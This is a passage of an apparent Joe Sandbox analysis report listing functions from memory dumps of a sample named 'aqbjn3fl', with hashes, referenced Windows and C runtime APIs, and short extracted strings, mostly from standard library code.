Opcode ID: e32afe13cf32003b02a45e17a87e6737b69e99e9558ed0cfff2c1e00dfb9f29f
Instruction ID: 721f5ec9cae49a4bf89e2d6d3241f632eb14a7b80feb038f5f37aece50e8f818
Opcode Fuzzy Hash: e32afe13cf32003b02a45e17a87e6737b69e99e9558ed0cfff2c1e00dfb9f29f
Instruction Fuzzy Hash: DC9102B4D10B00AFD364EF39D947797BEF4AB45210F408A2DE8EA87684E73064598BD7

Function 00409150 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a43474baedd13b0d9d8ce7920c3662142fc8a9a34e14cd720fa28c50937b343
Instruction ID: 8c0f7e5476ace527f0ad24862e842b830586f80b34ab9c99fe485aa86d2504ff
Opcode Fuzzy Hash: 3a43474baedd13b0d9d8ce7920c3662142fc8a9a34e14cd720fa28c50937b343
Instruction Fuzzy Hash: 8731D533F215114BE714CA65CC0429632939BD9328F3E86B9C425DF296C93B9D0386C4

Function 00401F50 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5a5d1427389668793eb2184808c6612ea255da26e82feb4f43e5749824597d3
Instruction ID: 43d6eacac5e66a2eccaefddc93f777b3f9bcb39f8badc6a339dfab7d62f9f687
Opcode Fuzzy Hash: d5a5d1427389668793eb2184808c6612ea255da26e82feb4f43e5749824597d3
Instruction Fuzzy Hash: 3F3187716082029BD7149E59C880937B7E1EF84358F18893EF899A73A1D739DC52CB4B

Function 0041DE73 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b55538dad94000122f010df21ddf5dbb82f2a9efe173eec9a549675bb36c8edc
Instruction ID: 1a94fae6aa4c1755432654251974b40da07cabae229cf75ca8a158187f2f73a1
Opcode Fuzzy Hash: b55538dad94000122f010df21ddf5dbb82f2a9efe173eec9a549675bb36c8edc
Instruction Fuzzy Hash: 1A212B73A083508FD724CF2AD48029BFBD29BD6304F19856EF4D59B382C534C9068796

Function 0041DBD4 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34bba6bb5d8484f013f34a3491fcda76e0bb1152ae3d79a328efdf63677fa893
Instruction ID: 260243d3f1f0345c84290ebcd99fddfdae7476931baad2af899af0836fb5fa84
Opcode Fuzzy Hash: 34bba6bb5d8484f013f34a3491fcda76e0bb1152ae3d79a328efdf63677fa893
Instruction Fuzzy Hash: 59212773A093508FD324CF2AD48029BFBE29BE6304F19856EF4D58B395C63489068B96

Function 0043BF10 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 00ba2b57a91ac047a4705b75b92ef8b22f69b3affa1c05689b710e5b9512dfb5
Instruction ID: bf8168a1869feb74f468f2fd825a5a20f2ae5d369cfd7629e8ff9ba76c4e48e0
Opcode Fuzzy Hash: 00ba2b57a91ac047a4705b75b92ef8b22f69b3affa1c05689b710e5b9512dfb5
Instruction Fuzzy Hash: 85114C71B162044BE3109A15DD8072BB763EBDE315F2DB06AD98497319D7388C014BD9

Function 0041ECF4 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 777d66c022c8a6a6674b28da04df8bfe314bbffb0f66602573b32b5334db9946
Instruction ID: 30254e917762e5330fb28f5a41babc129ad49ecc1168e7e400b6ea640b9a73ec
Opcode Fuzzy Hash: 777d66c022c8a6a6674b28da04df8bfe314bbffb0f66602573b32b5334db9946
Instruction Fuzzy Hash: B6A002A9C49450C7EA005F217906075F138931730AF063479948A73153AA36E158954F

Function 00433E90 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 125COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00433ED9
GetSystemMetrics.USER32 ref: 00433EE9

Strings

TEC, xrefs: 004340A1
^GC, xrefs: 004340CD
xEC, xrefs: 00433FF1
FC, xrefs: 00434033
7GC, xrefs: 0043405F
xIC, xrefs: 00434075
^LC, xrefs: 00433FD0

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID: 7GC$TEC$^GC$^LC$xEC$xIC$FC
API String ID: 4116985748-908964047
Opcode ID: 6a2e011da6ada6983ea4d7eb0b4d23507b4e6b403bdf28e27d9a846a6a2923f9
Instruction ID: 3e08075581ce457eda26527f829893d569b84f6169f063b11f99ae05461175c0
Opcode Fuzzy Hash: 6a2e011da6ada6983ea4d7eb0b4d23507b4e6b403bdf28e27d9a846a6a2923f9
Instruction Fuzzy Hash: 6A912DB000E3D5CFE370AF51C94878FBBE0AB82308F50891ED19C5A650DBB95149DFAA

Function 009E25E3 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 009E2702
___TypeMatch.LIBVCRUNTIME ref: 009E2810
CatchIt.LIBVCRUNTIME ref: 009E2861
_UnwindNestedFrames.LIBCMT ref: 009E2962
CallUnexpected.LIBVCRUNTIME ref: 009E297D

Strings

csm, xrefs: 009E2739
csm, xrefs: 009E268D
csm, xrefs: 009E2620

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: 396079b4286b9b154e7919a666075ec472f3222046cbadbd017f339d091ff6a5
Instruction ID: c252b1e24a4cbc589350549404eba3c455bde0d56cadb0344c0c6335cce8d87e
Opcode Fuzzy Hash: 396079b4286b9b154e7919a666075ec472f3222046cbadbd017f339d091ff6a5
Instruction Fuzzy Hash: D8B19C7180024AEFCF1ADFA6C980AAEB7BDFF54310F14416AE8156B212D331EE51CB91

Function 009E3F66 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,009E3F51,?,?,?,?,?,?,?,?,?,?), ref: 009E400C
__alloca_probe_16.LIBCMT ref: 009E40C7
__alloca_probe_16.LIBCMT ref: 009E4156
__freea.LIBCMT ref: 009E41A1
__freea.LIBCMT ref: 009E41A7
__freea.LIBCMT ref: 009E41DD
__freea.LIBCMT ref: 009E41E3
__freea.LIBCMT ref: 009E41F3

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 0dd6fdcb6c3c22f42961025e3d88b2f18fb62ea00eb941c302a54a3ad69194c2
Instruction ID: f4b2701d94e4f580cd96ccd0d688a9ecd2a8da871d7a784322b732738110581b
Opcode Fuzzy Hash: 0dd6fdcb6c3c22f42961025e3d88b2f18fb62ea00eb941c302a54a3ad69194c2
Instruction Fuzzy Hash: C3715C32D08385ABDF239F66CC41BAE77BEAFA9310F194459EA00AB281DB35DD418750

Function 009D4910 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 243COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 009D49B7

Strings

(^Hx, xrefs: 009D4AD7
(^Hx, xrefs: 009D4ACC
(^Hx, xrefs: 009D4AAB

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ___std_exception_copy
String ID: (^Hx$(^Hx$(^Hx
API String ID: 2659868963-1348055467
Opcode ID: e9b2a69e86c96362dcdcbfacd2e9d1ab056cc512a8ccff5b3fc0c736b4190e24
Instruction ID: b786e0477061027b405355b1c2a9e1c353c8ddaf4986348ce26ed46ae5912809
Opcode Fuzzy Hash: e9b2a69e86c96362dcdcbfacd2e9d1ab056cc512a8ccff5b3fc0c736b4190e24
Instruction Fuzzy Hash: B1814D392983004F8A24CB2999D423E72D6A799730F68CF17E495CF7E0EB799C449742

Function 009D9E60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 009D9E97
___except_validate_context_record.LIBVCRUNTIME ref: 009D9E9F
_ValidateLocalCookies.LIBCMT ref: 009D9F28
__IsNonwritableInCurrentImage.LIBCMT ref: 009D9F53
_ValidateLocalCookies.LIBCMT ref: 009D9FA8

Strings

csm, xrefs: 009D9F3D

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 6f6c5e19bc56db2260c69ace41fcd32f8586ea0af75f054f2ae33a0907890db8
Instruction ID: c6df2232228a701096d7a8addaa8cbea8fb9f53649d1ac874d89ff076e0e464c
Opcode Fuzzy Hash: 6f6c5e19bc56db2260c69ace41fcd32f8586ea0af75f054f2ae33a0907890db8
Instruction Fuzzy Hash: 6F41AF34A44259ABCF10EF6CD880B9EBBA5AF85314F14C156F8149B392D731EE01CB91

Function 009DC8BA Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,BB40E64E,?,009DC9C9,?,009B782F,00000000,00000000), ref: 009DC97B

Strings

api-ms-, xrefs: 009DC911
ext-ms-, xrefs: 009DC925

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: c9cbeed89918db6b695b189d72dcfdada3cc479d4ee8d7ffa6f6ab45eb97ad33
Instruction ID: 66a83e24d1409f536e13252f7c4ac6aa1743ce3f026f7058a0544a662e4eddad
Opcode Fuzzy Hash: c9cbeed89918db6b695b189d72dcfdada3cc479d4ee8d7ffa6f6ab45eb97ad33
Instruction Fuzzy Hash: 052157F1E98212A7CB21AB659C90B5B371CAF81BA0F208622F955BB3C0D730FD01D6D1

Function 009DC15E Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,009DC155,009D9C3D,009D9834), ref: 009DC16C
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 009DC17A
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 009DC193
SetLastError.KERNEL32(00000000,009DC155,009D9C3D,009D9834), ref: 009DC1E5

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: fed9ecd343df67bc0b013f066b287e367746fea9c1a25b39e696dcc8adad03b7
Instruction ID: 3b5980a8cb47b57bd4344be61ef45c5ebb64b2f8a828d9ace45fdb57aa5367cb
Opcode Fuzzy Hash: fed9ecd343df67bc0b013f066b287e367746fea9c1a25b39e696dcc8adad03b7
Instruction Fuzzy Hash: F40190B215D3735EEE1517B56CC2E1A2748DB91B79720423BF428853E2EF514C00E554

Function 009CDD20 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

Strings

eIY, xrefs: 009CDDB8
eIY, xrefs: 009CDD95
eIY, xrefs: 009CDE18
string too long, xrefs: 009CDE7A

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: string too long$eIY$eIY$eIY
API String ID: 0-1759105153
Opcode ID: 5cd6d8782f123b6b042c93b28d16ec2e6417b9ff46f55ad7149e965fb3da6696
Instruction ID: 4c5cf495e574c8eeff745abddb3304c462e87a8a6f62056dc26df3fcfbf617b2
Opcode Fuzzy Hash: 5cd6d8782f123b6b042c93b28d16ec2e6417b9ff46f55ad7149e965fb3da6696
Instruction Fuzzy Hash: FA216723E0615067AD280628C585B6E39974AF2364F4B446ED40A6F3D7C636CCC49293

Function 009DA945 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,?,009E63CE,000000FF), ref: 009DA97A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 009DA98C
FreeLibrary.KERNEL32(00000000,?,?,?,009E63CE,000000FF), ref: 009DA9AE

Strings

mscoree.dll, xrefs: 009DA973
CorExitProcess, xrefs: 009DA984

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 03e63a7a483130a444534f32d3ae5dc517ac12f9553a6a98da6e676d6a347e2f
Instruction ID: 5eeab7ed1a8a938fdd05bcec7fe594f55f3973b4ffc5ee50f5e297b8e4b9a0af
Opcode Fuzzy Hash: 03e63a7a483130a444534f32d3ae5dc517ac12f9553a6a98da6e676d6a347e2f
Instruction Fuzzy Hash: 14012671A54299EFDB028F40CC49FAEBBB8FB44B15F004626F821A63E0DB749C00CB91

Function 009E0EA8 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 009E0F2D
__alloca_probe_16.LIBCMT ref: 009E0FF6
__freea.LIBCMT ref: 009E105D

Part of subcall function 009DEBBB: HeapAlloc.KERNEL32(00000000,009B76E8,?,?,009B76E8,01E84800), ref: 009DEBED

__freea.LIBCMT ref: 009E1070
__freea.LIBCMT ref: 009E107D

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 6ec16d1f351406baf340f9dd67be97b848ca357e3c84ee994bc73d0cfbcd60f8
Instruction ID: 49fee81d99f27fe3366e819048334e71b93174d3cbc52376c541f8a25722a3ee
Opcode Fuzzy Hash: 6ec16d1f351406baf340f9dd67be97b848ca357e3c84ee994bc73d0cfbcd60f8
Instruction Fuzzy Hash: EE51B372600286AFDF226F62CC81FBB3BADEF84711B194529FD04D6251EB75DD90C660

Function 009E2A08 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,009E290E,?,?,00000000,00000000,00000000,?), ref: 009E2A2D
CatchIt.LIBVCRUNTIME ref: 009E2B13

Strings

RCC, xrefs: 009E2A47
MOC, xrefs: 009E2A3F

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: f59ae0f04ca5259ec5faae36d13f87805ac2247026717fb7e1e70d9db9dc169b
Instruction ID: 7d96d1b33e07dd65d7b5a8941a00d47eb62552b0d8542e669d708044a81a24a3
Opcode Fuzzy Hash: f59ae0f04ca5259ec5faae36d13f87805ac2247026717fb7e1e70d9db9dc169b
Instruction Fuzzy Hash: 6C416871900249AFCF26DF95CD81AEEBBB9FF48304F18806AF904A7252D375AD50DB91

Function 009E0C42 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 009E0C4F
GetLastError.KERNEL32 ref: 009E0C59
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 009E0C81

Strings

api-ms-, xrefs: 009E0C66

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: f9f3bfb887ca9e8092ee2bf5543fdbd234bf639805c837c01febd44f467c315d
Instruction ID: 52325b3c5bc9913cd79ab86c97193e8619a04413014817fb84f064ae18ab717c
Opcode Fuzzy Hash: f9f3bfb887ca9e8092ee2bf5543fdbd234bf639805c837c01febd44f467c315d
Instruction Fuzzy Hash: 51E04870694244FBDB111BA2DD47B1A3F599B80B40F244120FA8CAC1E1E7A2FC5195D9

Function 009E159F Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 009E1602

Part of subcall function 009E012E: WideCharToMultiByte.KERNEL32(?,00000000,009C3066,00000000,00000000,00000000,000000FF,?,?,00000000,009C3066,?,009DC091,?,00000000,?), ref: 009E018F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 009E1854
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 009E189A
GetLastError.KERNEL32 ref: 009E193D

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: bee3687920d1797ed91c9170aa3dee52fc4c3ce3363da4659d4294f0b7c9fd89
Instruction ID: e5005d7a1525dd526dc44ecc044cca91dc318d2661f3ff04dbad6bf136234f6b
Opcode Fuzzy Hash: bee3687920d1797ed91c9170aa3dee52fc4c3ce3363da4659d4294f0b7c9fd89
Instruction Fuzzy Hash: 26D17CB5D042889FCB16CFE9D890AEDBBB9FF49310F28452AE455EB352D630AD41CB50

Function 009E240C Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 009E24D3
___AdjustPointer.LIBCMT ref: 009E24F6
___AdjustPointer.LIBCMT ref: 009E2592

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 386ab643bd86498f53e5cae39d3e6168fae8621bcacf20178ddf18a7de8f45f0
Instruction ID: 9482c82e9f4d60ae32c9a6feff8b756ecf2f9bdab458d55fe95a552a617c1282
Opcode Fuzzy Hash: 386ab643bd86498f53e5cae39d3e6168fae8621bcacf20178ddf18a7de8f45f0
Instruction Fuzzy Hash: FB512772644686DFDB2A9F12D951B7AB7ADFF40310F24442DF846972A1EB31EC40D790

Function 009DF52E Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 009E012E: WideCharToMultiByte.KERNEL32(?,00000000,009C3066,00000000,00000000,00000000,000000FF,?,?,00000000,009C3066,?,009DC091,?,00000000,?), ref: 009E018F

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,009DF8D4,?,?,?,00000000), ref: 009DF592
__dosmaperr.LIBCMT ref: 009DF599
GetLastError.KERNEL32(00000000,009DF8D4,?,?,00000000,?,?,?,00000000,00000000,?,009DF8D4,?,?,?,00000000), ref: 009DF5D3
__dosmaperr.LIBCMT ref: 009DF5DA

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
